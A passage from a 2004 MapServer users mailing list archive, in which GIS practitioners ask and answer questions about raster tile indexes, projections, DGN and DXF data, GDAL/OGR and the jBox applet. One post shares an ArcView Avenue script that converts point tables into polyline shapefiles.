error looks
like this



 



msDrawRaster(): Image handling error. Unrecognized or =
unsupported image
format 

drawEPP(): Image handling error.
c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_se.tif is not an =
EPPL
file.



 



I’m using the Mapserver 4.0 binary with GDAL, I’ve =
searched
the archives but none of the fixes that I found have worked for me. Any =
help
would be greatly appreciated.  Thanks



 



My layer:



 



LAYER



  NAME "orthos"



  STATUS OFF



  TILEINDEX
"C:\Inetpub\wwwroot\Test_site\data\index\cross_co_index.shp"



  TILEITEM "IMAGE"



  TYPE RASTER



END



 



 



Richie Pierce



GIS Cadastral Specialist



Arkansas Geographic Information =
Office



124 W. Capitol =
St.



Little Rock, AR 72201



(w) 501-682-2937



(c) 501-416-CAMP



www.gis.state.ar.us


 








=00
------_=_NextPart_001_01C3E51B.AA7EE500--


From teoman872 at yahoo.com  Tue Jan 27 14:52:29 2004
From: teoman872 at yahoo.com (teoman teoman)
Date: Tue, 27 Jan 2004 14:52:29 -0800 (PST)
Subject: [Mapserver-users] Hi, does anybody know that how to get extend values for LAEA from a shape file?
Message-ID: <20040127225229.69833.qmail@web20726.mail.yahoo.com>

--0-916408574-1075243949=:69767
Content-Type: text/plain; charset=us-ascii

Hi,
 
How can I get the "EXTENT" values for LAEA(Lambert Azimuthal Equal-Area projectionLambert Azimuthal Equal-Area projection) from a .shp file?
 
I am using ogrinfo tool but it only gives me the Geographic Extent values...
can anybody help please?
 
thanks alot in advance..
--teoman


---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-916408574-1075243949=:69767
Content-Type: text/html; charset=us-ascii


Hi,


 


How can I get the "EXTENT" values for LAEA(Lambert Azimuthal Equal-Area projectionLambert Azimuthal Equal-Area projection) from a .shp file?


 


I am using ogrinfo tool but it only gives me the Geographic Extent values...


can anybody help please?


 


thanks alot in advance..


--teoman

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-916408574-1075243949=:69767--


From warmerdam at pobox.com  Tue Jan 27 15:09:44 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Tue, 27 Jan 2004 18:09:44 -0500
Subject: [Mapserver-users] Hi, does anybody know that how to get extend
 values for LAEA from a shape file?
In-Reply-To: <20040127225229.69833.qmail@web20726.mail.yahoo.com>
References: <20040127225229.69833.qmail@web20726.mail.yahoo.com>
Message-ID: <4016EFB8.7020705@pobox.com>

teoman teoman wrote:
> Hi,
>  
> How can I get the "EXTENT" values for LAEA(Lambert Azimuthal Equal-Area 
> projectionLambert Azimuthal Equal-Area projection) from a .shp file?
>  
> I am using ogrinfo tool but it only gives me the Geographic Extent values...
> can anybody help please?

Teoman,

You could get the extents in geographic coordinates, and then use another
tool to reproject them into LAEA such as the "proj" or "cs2cs" commandline
utilities distributed with PROJ.4.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From spencer at dmsolutions.ca  Tue Jan 27 16:42:33 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Tue, 27 Jan 2004 19:42:33 -0500
Subject: [Mapserver-users] [Fwd: [Chameleon] display specific layers from DGN]
Message-ID: <40170579.40204@magma.ca>

This is a multi-part message in MIME format.
--------------020901020703020603030205
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

please send mapserver-specific questions to the mapserver-users list, 
you'll have a much better chance at getting a response.

Cheers,

Paul
-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------

--------------020901020703020603030205
Content-Type: message/rfc822;
 name="[Chameleon] display specific layers from DGN"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="[Chameleon] display specific layers from DGN"

Return-Path: 
Received: from xcalibur.dmsolutions.ca (www2.dmsolutions.on.ca [209.217.116.146])
	by in3.magma.ca (Magma's Mail Server) with ESMTP id i0S0a71t006024;
	Tue, 27 Jan 2004 19:36:10 -0500
Received: from www.maptools.org ([209.217.116.153])
	by xcalibur.dmsolutions.ca (8.11.6/8.11.6) with ESMTP id i0S0a6A03528;
	Tue, 27 Jan 2004 19:36:06 -0500
Received: from www.maptools.org (www.maptools.org [127.0.0.1])
	by www.maptools.org (8.12.5/8.12.5) with ESMTP id i0S0Yi4r018050;
	Tue, 27 Jan 2004 19:34:48 -0500
Received: from web12105.mail.yahoo.com (web12105.mail.yahoo.com [216.136.172.25])
	by www.maptools.org (8.12.5/8.12.5) with SMTP id i0S0TM4r017982
	for ; Tue, 27 Jan 2004 19:29:29 -0500
Message-ID: <20040128002902.91205.qmail at web12105.mail.yahoo.com>
Received: from [202.139.2.65] by web12105.mail.yahoo.com via HTTP; Tue, 27 Jan 2004 16:29:01 PST
From: "J. Delfos" 
Reply-To: delfos18 at yahoo.com
To: Chameleon at lists.maptools.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Subject: [Chameleon] display specific layers from DGN
Sender: chameleon-admin at lists.maptools.org
Errors-To: chameleon-admin at lists.maptools.org
X-BeenThere: chameleon at lists.maptools.org
X-Mailman-Version: 2.0.13
Precedence: bulk
List-Unsubscribe: ,
	
List-Id: 
List-Post: 
List-Help: 
List-Subscribe: ,
	
List-Archive: 
Date: Tue, 27 Jan 2004 16:29:01 -0800 (PST)
X-Spam-Status: X-Spam-Status: hits=1.0

Hi List,

I am trying to display specific layers from a DGN file. I found an example
in the archive of the list that suggested how to do it, but it doesn't
work for me;

LAYER
    NAME "Water_dgn"
    TYPE POLYGON
    CONNECTIONTYPE OGR
    CONNECTION "data/dgn/wat.dgn"
            DATA "1"
    STATUS ON
    CLASS
      ...
    END
...
END

Does anyone have a better idea of how to single out the layer? (Aside from
editing the DGN, of course).

regards,

Jacob


__________________________________
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
http://webhosting.yahoo.com/ps/sb/
_______________________________________________
Chameleon mailing list
Chameleon at lists.maptools.org
http://lists.maptools.org/mailman/listinfo/chameleon


--------------020901020703020603030205--



From rich at greenwoodmap.com  Tue Jan 27 19:57:45 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Tue, 27 Jan 2004 20:57:45 -0700
Subject: [Mapserver-users] jBox ANNOUNCE
Message-ID: <40173339.3040302@greenwoodmap.com>

A new version of jBox is now available for download from the Contributed 
Utilities page.
    http://mapserver.gis.umn.edu/contributed.html

It has two bug fixes and minor enhancements:

Bug Fixes:

#1 was discussed recently on this list and is entirely my fault - I had 
compiled the previous jBox zip archive with a version of the Java 
compiler that caused it to be incompatible with Microsoft IE when using 
Microsoft's Virtual Machine. My apologies for this screw up.

#2 was provided by Wim Blanken and fixes a problem with the "measure 
tool" when jBox is run within a frame.

Enhancements:

1. The "measure tool" now returns a calculated area in addition to distance.

2. Jar files are now included in the jBox.zip distribution. These are an 
alternative to using the classes and may provide a slight performance boost.

3. There is now a jBox.version() function which

The documentation has not yet been updated.

-- 
Richard Greenwood
www.greenwoodmap.com



From rich at greenwoodmap.com  Tue Jan 27 20:16:26 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Tue, 27 Jan 2004 21:16:26 -0700
Subject: [Mapserver-users] jBox applet - setimage
In-Reply-To: <000801c3e553$68520d80$993d5edb@steve>
References: <001301c3e49e$51067810$11395edb@steve> <4016806E.8080008@greenwoodmap.com> <001201c3e54d$6e083520$c32d5fdb@steve> <40172E80.7010109@greenwoodmap.com> <000801c3e553$68520d80$993d5edb@steve>
Message-ID: <4017379A.8080607@greenwoodmap.com>

Steve McCrone wrote:

> Richard,
> 
> Here's my latest -
> 
> function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
>       document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " +
> maxy;
>       document.mapserv.imgxy.value = minx + " " + miny;
>       url =
> "http://localhost/cgi-bin/mapserv.exe?mode=map&map=C:/Inetpub/wwwroot/demo.m
> ap;
>       document.jBox.setimage(url);
>       }
> 
> The busy image does not appear, the map area appears to refresh, but with no
> zoom-in. I changed the layers to default, but the roads disappear when I
> zoom-in, even though it does not zoom.

Okay so it is working, right? That is, it is displaying the map when 
setimage(url)? If you want to alter the map (like zoom in) you have to 
do some more work. You will need to take the minx, miny, maxx, maxy 
values setbox_handler() and plug them into you url.

When you are working with an HTML form, the whole form, along with the 
form variables gets submitted to mapserver and processed. But when you 
use setimage, the only thing mapserver sees in in your url variable. 
Mapserver will not see what you have set with your 
document.mapserv.imgbox.value statement. So you have to do a lot more 
work formatting the url varibale than when you can pass all that info 
via form variables.

Same complexities on the return side: when you are using an HTML 
template, mapserver will calculate new map extents and lot of other 
useful stuff for you. But with setimage, you will need to do most of 
that on the client with javascript.

Regards,
-- 
Richard Greenwood
www.greenwoodmap.com



From opengis at libero.it  Wed Jan 28 00:31:26 2004
From: opengis at libero.it (opengis)
Date: Wed, 28 Jan 2004 09:31:26 +0100
Subject: [Mapserver-users] DXF to shp
Message-ID: 

Howdy,
someone knows if is it possible to use dxf as data source (obviously without bacht traslation) like:
LAYER
	NAME Nth_layer
	DATA my_dxf_file
	STATUS ON
	TYPE ......


Thanks



---------- Initial Header -----------

>From      : mapserver-users-admin at lists.gis.umn.edu
To          : "Walsh, Mike" MICHAEL.WALSH at cubic.com,mapserver-users at lists.gis.umn.edu
Cc          : 
Date      : Fri, 23 Jan 2004 11:38:30 -0800
Subject : Re: [Mapserver-users] DXF to shp

> Mike,
> 
> The FME product has a General translation Engine, a Workbench (where you can merge all kinds of data in all types of formats) and a universal viewer.
> 
> I would recommend the Workbench is you want to do more specific translations as well as compile topology and the like on the data files.
> 
> thanks
> Stephen
> 
>   ----- Original Message ----- 
>   From: Walsh, Mike 
>   To: 'mapserver-users at lists.gis.umn.edu' 
>   Sent: Friday, January 23, 2004 10:07 AM
>   Subject: [Mapserver-users] DXF to shp
> 
> 
>   Thank you for your replies. Do any of the known apps; ArcInfo, FME, CAD2SHAPE
> 
>   Allow the user to place geospecific info into the shp file - even if the original dxf input
> 
>   File has none?
> 




From eduardo at consultoria.eti.br  Tue Jan 27 13:42:36 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Tue, 27 Jan 2004 19:42:36 -0200
Subject: [Mapserver-users] Does GDAL include OGR ?
Message-ID: <4016DB4C.2010400@consultoria.eti.br>

I saw in GDAL ./configure --help that is possible to "disable OGR code"

what does really it means? does GDAL package also include OGR functions? 
I mean, if I download
and compile GDAL library  I don't need to compile OGR package?

thanks in advance

-- 
Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************




From kames at keyspanenergy.com  Wed Jan 28 05:07:49 2004
From: kames at keyspanenergy.com (Kieran J. Ames)
Date: Wed, 28 Jan 2004 08:07:49 -0500
Subject: [Mapserver-users] OT: ArcView Line Theme
References: <13685000AB02F2479DF2C632B9B1988E16C11C@imager8.corp.spaceimaging.com>
Message-ID: <4017B425.29DF2F2C@keyspanenergy.com>

--------------5472D2CD0BFEA022A822166E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Many thanks to all for your help
I ended up using a script called pt_ln_pl.ave
While heavy on the processing time (making straight polylines from about 1,500 definitions took about 10 minutes and 100%
cpu), this script did everything I needed.
I include it here since finding it again was quite a task.
Kieran


'PT_LN_PL.AVE
'Original author Daniel Nielsen August 31, 1998
'Modified by Dan Patterson Jan 28, 1999
'
'This script must be run on a Table document. The output will be a polyline shapefile.

'This script will convert a table of points to a polyline shapefile with the option of
'creating line segments between point pairs (as a polyline) or by creating a continuous
'polyline from a sequenced list of points.
'You also have the option of creating a closed-loop polyline which can be used to create polygons
'using the ESRI sample script 'Convert polylines to polygons'.
'
'The input point table must have four fields containing numeric data
'    1  an x-coordinate
'    2  a y-coordinate
'    3  a  polyline identifier field (i.e. all points in the same polyline must have the same ID)
'    4  a vertex ID field which designates the order of the vertices (points) for each polyline.
'    5  an attribute field which contains the attributes that you want to assign to the polylines.
'        Note, the attribute from the first point that is used to form the polyline is used
'        This can be modified in the script if you so choose
'
'*******************************************************************************************************************
'  Get the active table and choose the coordinate, ID and the attribute fields.

theVTab = av.GetActiveDoc.GetVTab
theFields = theVTab.GetFields
chosenfields={}
'
    XField = MsgBox.List(theFields, "Longitude or Easting values", "Select X-coordinates field")
      chosenfields.add(Xfield)
    YField = MsgBox.List(theFields, "Latitude or Northing values", "Select Y-coordinates field")
      chosenfields.add(YField)
    IDField = MsgBox.List(theFields, "Each polyline 'event' must be identified by a unique number", "Select Unique polyline ID field in table")
     chosenfields.add(IDField)
   VertField = MsgBox.List(theFields, "These are the points that define each polyline", "Select the Vertice ID field")
     chosenfields.add(VertField)
    AttribField=MsgBox.List(theFields, "The attribute will be added to the polyline", "Select the Value to add to polyline")
     chosenfields.add(AttribField)

' check to make sure that the x, y, ID and vertex fields are numeric, the attributes can be anything
'
for each i in 0 .. (chosenfields.count-2)
  stringTest=chosenfields.get(i)
  if (stringTest.IsTypeNumber.Not)  then
    MsgBox.Info(stringTest.asstring++" field must be numeric!","Correct Point Table")
    exit
  end
end

'*******************************************************************************************************************
' ** Create the new shapefile
'
fnDefault = FileName.Make("$HOME").MakeTmp("shape","shp")
fnOutput  = FileDialog.Put( fnDefault,"*.shp","Output Shape File" )
if (fnOutput = nil) then exit end
fnOutput.SetExtension("shp")
'
'   Create the field list and see if fields from the input table are to be appended to the output table
'
ftbOutput = FTab.MakeNew( fnOutput, POLYLINE )
'
X=chosenFields.get(4)                   'get the name of the attribute field in the source table
FldList={"Shape","ID","Attribute"}    'create the field names in the output table
'
ftbOutput.AddFields({Field.Make("ID", #FIELD_LONG, 8, 0)})
ftbOutput.AddFields({Field.make("Attribute", X.gettype, X.getwidth, X.getprecision)})

' ** Get a list of all unique polyline ID values.  These are the polylines that you are going to create
'     The ID number will be assigned to the ID field of each polyline that is created.
'      Also checks to see if there are selected records in the source table.

IDList = List.Make
   if (theVTab.GetSelection.Count = 0) then
     theSet = theVTab
   else
     theSet = theVTab.GetSelection
   end

  for each rec in theSet
    IDList.Add(theVTab.ReturnValueString(IDField, rec))

  end

'*******************************************************************************************************************
' Check for errors, remove duplicate ID numbers, and sorts the list.
'
if (IDList.Count > 0) then
  IDList.RemoveDuplicates
  IDList.Sort(true)
else
  exit
end

theBitMap = theVTab.GetSelection
theBitMap.Clearall
theVTab.SetSelection(theBitMap)

'*******************************************************************************************************************
'  Choose the feature type
'
'  Select whether individual line segments or a continuous polyline is required (i.e. more than 2 points)
'   For example, you could have 4 points delineating the bounds of a rectangle.  You
'   are given the option of creating 4 line segments, 1 polyline connecting points 1 through 4, or
'   a closed-loop polyline which connects points 1 through 4 then closes back on 1 again.
SnapLine=(FALSE)
ChoiceList={"Segmented", "Continuous","Closed-loop"}
FeatureType=msgbox.ListAsString(ChoiceList,"Choose output format of polylines", "Feature Type to Create")
if (FeatureType <> "Segmented") then
  if(FeatureType<> "Continuous") then
    SnapLine = (TRUE)
  end
end

'*******************************************************************************************************************
'
for each ID in IDList
  theVTab.query("[" ++ IDField.AsString ++ "] = " ++ ID.asString, theBitMap, #VTAB_SELTYPE_NEW)
  theVTab.UpdateSelection

'**Gets a sorted list of all vertice ID values
    vertList = {}
    for each rec in theVTab.GetSelection
       vertList.add(theVTab.ReturnValue(VertField, rec))
    end
     vertList.Sort(TRUE)

' **Create a point list and an attribute list and sorts the points by the verticeID numbers.
    pointList = {}
    dataList={}
    for each vertNum in vertList
       theVTab.query("[" ++ IDField.AsString ++ "] = " ++ ID.asString, theBitMap, #VTAB_SELTYPE_NEW)
       theVTab.query("[" ++ VertField.AsString ++ "] = " ++ vertNum.asString, theBitMap, #VTAB_SELTYPE_AND)

'   ** Make the point and get the attributes
        for each rec in theVTab.GetSelection
           aPoint = point.make( theVTab.ReturnValue (XField, rec), theVTab.ReturnValue (YField, rec) )
           pointList.Add(aPoint)
           dataList.add(theVTab.ReturnValue(AttribField, rec))
        end
     end
'
'*******************************************************************************************************************
' ** Optionally create Line segments from points in the polyline theme

     if (FeatureType = "Segmented") then
     i=0
     smallList={}
'    ** Add a new polyline record to the output shapefile and get the data for the point
'        Note in this application, it assigns the attributes for the first point which makes up the polyline segment
'        Change the get(?) option to specify another point to use.  For individual line segments, this can be 0 or 1.

       for each j in 0 .. (pointList.count -2)
          data=dataList.get(j)
           newRec = ftbOutput.AddRecord
           smallList={pointList.get(i), pointlist.get(i+1)}
           newline = Polyline.make({smallList})
           fldShapeOut=ftbOutput.FindField("shape")
           fldIDOut=ftbOutput.findField("id")
           fldDataOut=ftbOutput.findField("attribute")
           ftbOutput.SetValue(fldShapeOut, newRec, newLine) '.AsPolyLine)
           ftbOutput.SetValue(fldIDOut, newRec, ID.AsString)
           ftbOutput.SetValue(fldDataOut, newRec, data)
           i=i+1
       end
     else

' ** Optionally create a continuous polyline from the points in the polyline theme.
'     Specify whether you want a closed loop polyline
'
     If (SnapLine) then
       pointList.Add(pointList.get(0))
     end

' ** add a new polyline record to the output shapefile
'     Note in this application, it assigns the attributes for the first point which makes up the polyline segment
'     Change the get(?) option to specify another point to use.

     data=dataList.get(0)
     newRec = ftbOutput.AddRecord
     newline = Polyline.make({pointList})
     fldShapeOut=ftbOutput.FindField("shape")
     fldIDOut=ftbOutput.findField("id")
     fldDataOut=ftbOutput.findField("attribute")
     ftbOutput.SetValue(fldShapeOut, newRec, newLine) '.AsPolyLine)
     ftbOutput.SetValue(fldIDOut, newRec, ID.AsString)
     ftbOutput.SetValue(fldDataOut, newRec, data)
  end
end
theBitMap.Clearall
theVTab.UpdateSelection
'
'*******************************************************************************************************************
' ** Add the output shapefile to a View
'
viewList = list.make
for each d in av.GetProject.GetDocs
  if (d.Is(View)) then
    viewList.Add(d)
  end
end
viewList.Add("")
addToView = MsgBox.ListAsString( viewList,"Add Theme to:",  "Convert Points to Polylines" )
'
' ** Get the specified view, make the theme, and add it...
if (addToView <> nil) then
  if (addToView = "") then
    addToView = View.Make
    addToView.GetWin.Open
  end
  newTheme = FTheme.Make( ftbOutput )
  addToView.AddTheme( newTheme )
  addToView.GetWin.Activate
end





Howard Mark wrote:

> Kieran,
>
> You'll need to know a bit of avenue script to do this. First you'll need to create a new LINE theme.
> Using an avenue script, you'll need to create a new line shape from the points, and add the shape to the line theme.
> This explanation is a bit simplistic.
> There are sample scripts online at the esri site www.esri.com
>
> Mark
>
> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Kieran J. Ames
> Sent: Monday, January 26, 2004 2:38 PM
> To: mapserver list
> Subject: [Mapserver-users] OT: ArcView Line Theme
>
> List,
> Sorry for the Off-Topic, but...
> I know how to import an event theme (points) into ArcView from text or
> dbf.
> I want to create a line theme (have 2 sets of points... the nodes).
> Can anyone point me to some documentation on how I'd get this
> information into ArcView?
>
> Thanks in advance.
> Kieran
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> ********************************************************************************
> This message is intended only for the use of the Addressee and may
> contain information that is PRIVILEGED and CONFIDENTIAL.
>
> If you are not the intended recipient, you are hereby notified that any
> dissemination of this communication is strictly prohibited. If you have
> received this communication in error, please erase all copies of the
> message and its attachments and notify Space Imaging immediately.
> ********************************************************************************

--------------5472D2CD0BFEA022A822166E
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Many thanks to all for your help

I ended up using a script called pt_ln_pl.ave

While heavy on the processing time (making straight polylines from
about 1,500 definitions took about 10 minutes and 100% cpu), this script
did everything I needed.

I include it here since finding it again was quite a task.

Kieran

 

'PT_LN_PL.AVE
'Original author Daniel Nielsen August 31, 1998
'Modified by Dan Patterson Jan 28, 1999
'
'This script must be run on a Table document. The output will be a polyline shapefile.

'This script will convert a table of points to a polyline shapefile with the option of 
'creating line segments between point pairs (as a polyline) or by creating a continuous
'polyline from a sequenced list of points.
'You also have the option of creating a closed-loop polyline which can be used to create polygons
'using the ESRI sample script 'Convert polylines to polygons'.
'
'The input point table must have four fields containing numeric data
'    1  an x-coordinate 
'    2  a y-coordinate
'    3  a  polyline identifier field (i.e. all points in the same polyline must have the same ID)
'    4  a vertex ID field which designates the order of the vertices (points) for each polyline.
'    5  an attribute field which contains the attributes that you want to assign to the polylines.
'        Note, the attribute from the first point that is used to form the polyline is used
'        This can be modified in the script if you so choose
' 
'*******************************************************************************************************************
'  Get the active table and choose the coordinate, ID and the attribute fields.

theVTab = av.GetActiveDoc.GetVTab
theFields = theVTab.GetFields
chosenfields={}
' 
    XField = MsgBox.List(theFields, "Longitude or Easting values", "Select X-coordinates field")
      chosenfields.add(Xfield)
    YField = MsgBox.List(theFields, "Latitude or Northing values", "Select Y-coordinates field")
      chosenfields.add(YField)
    IDField = MsgBox.List(theFields, "Each polyline 'event' must be identified by a unique number", "Select Unique polyline ID field in table")
     chosenfields.add(IDField)
   VertField = MsgBox.List(theFields, "These are the points that define each polyline", "Select the Vertice ID field")
     chosenfields.add(VertField)
    AttribField=MsgBox.List(theFields, "The attribute will be added to the polyline", "Select the Value to add to polyline")
     chosenfields.add(AttribField)

' check to make sure that the x, y, ID and vertex fields are numeric, the attributes can be anything
'     
for each i in 0 .. (chosenfields.count-2)
  stringTest=chosenfields.get(i)
  if (stringTest.IsTypeNumber.Not)  then
    MsgBox.Info(stringTest.asstring++" field must be numeric!","Correct Point Table")
    exit
  end
end

'*******************************************************************************************************************
' ** Create the new shapefile
'
fnDefault = FileName.Make("$HOME").MakeTmp("shape","shp")
fnOutput  = FileDialog.Put( fnDefault,"*.shp","Output Shape File" )
if (fnOutput = nil) then exit end
fnOutput.SetExtension("shp")
'
'   Create the field list and see if fields from the input table are to be appended to the output table
'
ftbOutput = FTab.MakeNew( fnOutput, POLYLINE )
'
X=chosenFields.get(4)                   'get the name of the attribute field in the source table
FldList={"Shape","ID","Attribute"}    'create the field names in the output table
'
ftbOutput.AddFields({Field.Make("ID", #FIELD_LONG, 8, 0)})
ftbOutput.AddFields({Field.make("Attribute", X.gettype, X.getwidth, X.getprecision)})


' ** Get a list of all unique polyline ID values.  These are the polylines that you are going to create
'     The ID number will be assigned to the ID field of each polyline that is created.
'      Also checks to see if there are selected records in the source table.

IDList = List.Make
   if (theVTab.GetSelection.Count = 0) then
     theSet = theVTab
   else
     theSet = theVTab.GetSelection
   end

  for each rec in theSet
    IDList.Add(theVTab.ReturnValueString(IDField, rec))

  end

'*******************************************************************************************************************
' Check for errors, remove duplicate ID numbers, and sorts the list.
'
if (IDList.Count > 0) then
  IDList.RemoveDuplicates
  IDList.Sort(true)
else
  exit
end

theBitMap = theVTab.GetSelection
theBitMap.Clearall
theVTab.SetSelection(theBitMap)

'*******************************************************************************************************************
'  Choose the feature type
'
'  Select whether individual line segments or a continuous polyline is required (i.e. more than 2 points)
'   For example, you could have 4 points delineating the bounds of a rectangle.  You
'   are given the option of creating 4 line segments, 1 polyline connecting points 1 through 4, or 
'   a closed-loop polyline which connects points 1 through 4 then closes back on 1 again.
SnapLine=(FALSE)
ChoiceList={"Segmented", "Continuous","Closed-loop"}
FeatureType=msgbox.ListAsString(ChoiceList,"Choose output format of polylines", "Feature Type to Create")
if (FeatureType <> "Segmented") then
  if(FeatureType<> "Continuous") then
    SnapLine = (TRUE)
  end  
end

'*******************************************************************************************************************
'  
for each ID in IDList
  theVTab.query("[" ++ IDField.AsString ++ "] = " ++ ID.asString, theBitMap, #VTAB_SELTYPE_NEW)
  theVTab.UpdateSelection

'**Gets a sorted list of all vertice ID values
    vertList = {}
    for each rec in theVTab.GetSelection
       vertList.add(theVTab.ReturnValue(VertField, rec))
    end
     vertList.Sort(TRUE)
       
' **Create a point list and an attribute list and sorts the points by the verticeID numbers.
    pointList = {}
    dataList={}
    for each vertNum in vertList
       theVTab.query("[" ++ IDField.AsString ++ "] = " ++ ID.asString, theBitMap, #VTAB_SELTYPE_NEW)
       theVTab.query("[" ++ VertField.AsString ++ "] = " ++ vertNum.asString, theBitMap, #VTAB_SELTYPE_AND)

'   ** Make the point and get the attributes
        for each rec in theVTab.GetSelection
           aPoint = point.make( theVTab.ReturnValue (XField, rec), theVTab.ReturnValue (YField, rec) )
           pointList.Add(aPoint)
           dataList.add(theVTab.ReturnValue(AttribField, rec))
        end
     end
'
'*******************************************************************************************************************
' ** Optionally create Line segments from points in the polyline theme

     if (FeatureType = "Segmented") then
     i=0
     smallList={}
'    ** Add a new polyline record to the output shapefile and get the data for the point
'        Note in this application, it assigns the attributes for the first point which makes up the polyline segment
'        Change the get(?) option to specify another point to use.  For individual line segments, this can be 0 or 1.

       for each j in 0 .. (pointList.count -2)
          data=dataList.get(j)                         
           newRec = ftbOutput.AddRecord
           smallList={pointList.get(i), pointlist.get(i+1)}
           newline = Polyline.make({smallList})
           fldShapeOut=ftbOutput.FindField("shape")
           fldIDOut=ftbOutput.findField("id")
           fldDataOut=ftbOutput.findField("attribute")
           ftbOutput.SetValue(fldShapeOut, newRec, newLine) '.AsPolyLine)
           ftbOutput.SetValue(fldIDOut, newRec, ID.AsString)
           ftbOutput.SetValue(fldDataOut, newRec, data)
           i=i+1
       end   
     else

' ** Optionally create a continuous polyline from the points in the polyline theme.
'     Specify whether you want a closed loop polyline
'
     If (SnapLine) then
       pointList.Add(pointList.get(0))
     end

' ** add a new polyline record to the output shapefile
'     Note in this application, it assigns the attributes for the first point which makes up the polyline segment
'     Change the get(?) option to specify another point to use. 

     data=dataList.get(0)
     newRec = ftbOutput.AddRecord
     newline = Polyline.make({pointList})
     fldShapeOut=ftbOutput.FindField("shape")
     fldIDOut=ftbOutput.findField("id")
     fldDataOut=ftbOutput.findField("attribute")
     ftbOutput.SetValue(fldShapeOut, newRec, newLine) '.AsPolyLine)
     ftbOutput.SetValue(fldIDOut, newRec, ID.AsString)
     ftbOutput.SetValue(fldDataOut, newRec, data)
  end
end
theBitMap.Clearall
theVTab.UpdateSelection
'
'*******************************************************************************************************************
' ** Add the output shapefile to a View
'
viewList = list.make
for each d in av.GetProject.GetDocs
  if (d.Is(View)) then
    viewList.Add(d)
  end
end
viewList.Add("")
addToView = MsgBox.ListAsString( viewList,"Add Theme to:",  "Convert Points to Polylines" )
'
' ** Get the specified view, make the theme, and add it...
if (addToView <> nil) then
  if (addToView = "") then
    addToView = View.Make
    addToView.GetWin.Open
  end
  newTheme = FTheme.Make( ftbOutput )
  addToView.AddTheme( newTheme )
  addToView.GetWin.Activate
end 


 

 

Howard Mark wrote:

Kieran,

You'll need to know a bit of avenue script to do this. First you'll
need to create a new LINE theme.

Using an avenue script, you'll need to create a new line shape from
the points, and add the shape to the line theme.

This explanation is a bit simplistic.

There are sample scripts online at the esri site www.esri.com

Mark

-----Original Message-----

From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On
Behalf Of Kieran J. Ames

Sent: Monday, January 26, 2004 2:38 PM

To: mapserver list

Subject: [Mapserver-users] OT: ArcView Line Theme

List,

Sorry for the Off-Topic, but...

I know how to import an event theme (points) into ArcView from text
or

dbf.

I want to create a line theme (have 2 sets of points... the nodes).

Can anyone point me to some documentation on how I'd get this

information into ArcView?

Thanks in advance.

Kieran

_______________________________________________

Mapserver-users mailing list

Mapserver-users at lists.gis.umn.edu

http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

********************************************************************************

This message is intended only for the use of the Addressee and may

contain information that is PRIVILEGED and CONFIDENTIAL.

If you are not the intended recipient, you are hereby notified that
any

dissemination of this communication is strictly prohibited. If you
have

received this communication in error, please erase all copies of the

message and its attachments and notify Space Imaging immediately.

********************************************************************************



--------------5472D2CD0BFEA022A822166E--



From gleinerteruel at hotmail.com  Wed Jan 28 05:14:14 2004
From: gleinerteruel at hotmail.com (Gleiner Crivelini)
Date: Wed, 28 Jan 2004 11:14:14 -0200
Subject: [Mapserver-users] Dynamic Shapes
Message-ID: 

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C3E58F.DC96CBE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have a question. I need to create shapes "on-the-fly" and I don't know =
how to do this using MapServer.=20
The use case is: after a selection of an area on the map by the user all =
the elements inside this area and related to the active layer, have to =
be highlighted or have their color changed. A quadratic shadowed shape =
drawn arround them should solve the case. Sometimes the shape have to be =
circular with its radio, previously got, from the point of the unique =
item selected: case of one-item selected.
Does anybody can tell me if it's possible and how to do that using =
MapServer?
Thanks in advance.
Best regards.
Gleiner.
------=_NextPart_000_0005_01C3E58F.DC96CBE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









I have a question. I need to create shapes =
"on-the-fly"=20
and I don't know how to do this using MapServer. 
The use case is: =
after a=20
selection of an area on the map by the user all the elements =
inside this=20
area and related to the active layer, have to be highlighted or =
have their=20
color changed. A quadratic shadowed shape drawn arround them should =
solve the=20
case. Sometimes the shape have to be circular with its radio, previously =

got, from the point of the unique item selected: case of one-item=20
selected.
Does anybody can tell me if it's possible and how to do =
that using=20
MapServer?
Thanks in advance.


Best regards.


Gleiner.


